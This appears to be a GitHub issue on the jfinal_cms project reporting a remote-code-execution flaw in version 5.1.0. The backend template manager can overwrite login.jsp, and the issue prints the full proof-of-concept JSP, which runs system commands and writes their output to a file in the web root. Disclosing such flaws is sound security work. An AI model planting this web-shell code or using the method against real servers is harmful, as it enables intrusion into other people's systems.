jflyfox / jfinal_cms

jfinal cms是一个java开发的功能强大的信息咨询网站,采用了简洁强大的JFinal作为web框架,模板引擎用的是beetl,数据库用mysql,前端bootstrap框架。支持oauth2认证、帐号注册、密码加密、评论及回复,消息提示,网站访问量统计,文章评论数和浏览量统计,回复管理,支持权限管理。后台模块包含:栏目管理,栏目公告,栏目滚动图片,文章管理,回复管理,意见反馈,我的相册,相册管理,图片管理,专辑管理、视频管理、缓存更新,友情链接,访问统计,联系人管理,模板管理,组织机构管理,用户管理,角色管理,菜单管理,数据字典管理。
http://mtg.jflyfox.com/
Apache License 2.0
626 stars 286 forks source link

Jfinal_ CMS V5.1.0 has login.jsp written to RCE #58

Open ZccAcc opened 1 year ago

ZccAcc commented 1 year ago

There is a filter that by default denies direct access to JSP files. image The login.jsp in web.xml's means that accessing the homepage module can directly invoke login.jsp. image The backend template management module can manage files under the web directory. It can modify the content of login.jsp through an interface call, inserting malicious code into the content of login.jsp. image Inject malicious code into login.jsp to execute commands and write the command execution result into mkodp_1.txt. image image Accessing http://ip:port/jfinal_cms/admin/ will trigger the code inside login.jsp, leading to command execution and writing to mkodp_1.txt. image Repeat the above process to execute the "ip a" command. image

The modified content of login.jsp is as follows: `<%@ page language="java" pageEncoding="UTF-8"%> <% // 生成一个随机的文件名 String randomFileName = "mkodp_1.txt";

// 获取当前 JSP 文件所在的真实路径
String currentPath = application.getRealPath("/");

// 构建文件的绝对路径
String filePath = currentPath + randomFileName;

try {
    String command = "whoami"; // 修改为你想要执行的命令
    java.util.Scanner scanner = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    String result = scanner.hasNext() ? scanner.next() : "";
    scanner.close();

    // 将命令回显存储在变量中
    String commandOutput = result;
    // 创建文件并写入内容
    java.io.FileWriter fileWriter = new java.io.FileWriter(filePath);
    fileWriter.write(commandOutput);
    fileWriter.close();

    out.println("文件已生成:" + filePath);
} catch (Exception e) {
    out.println("出现错误:" + e.getMessage());
}

%> <% response.sendRedirect("login"); %> `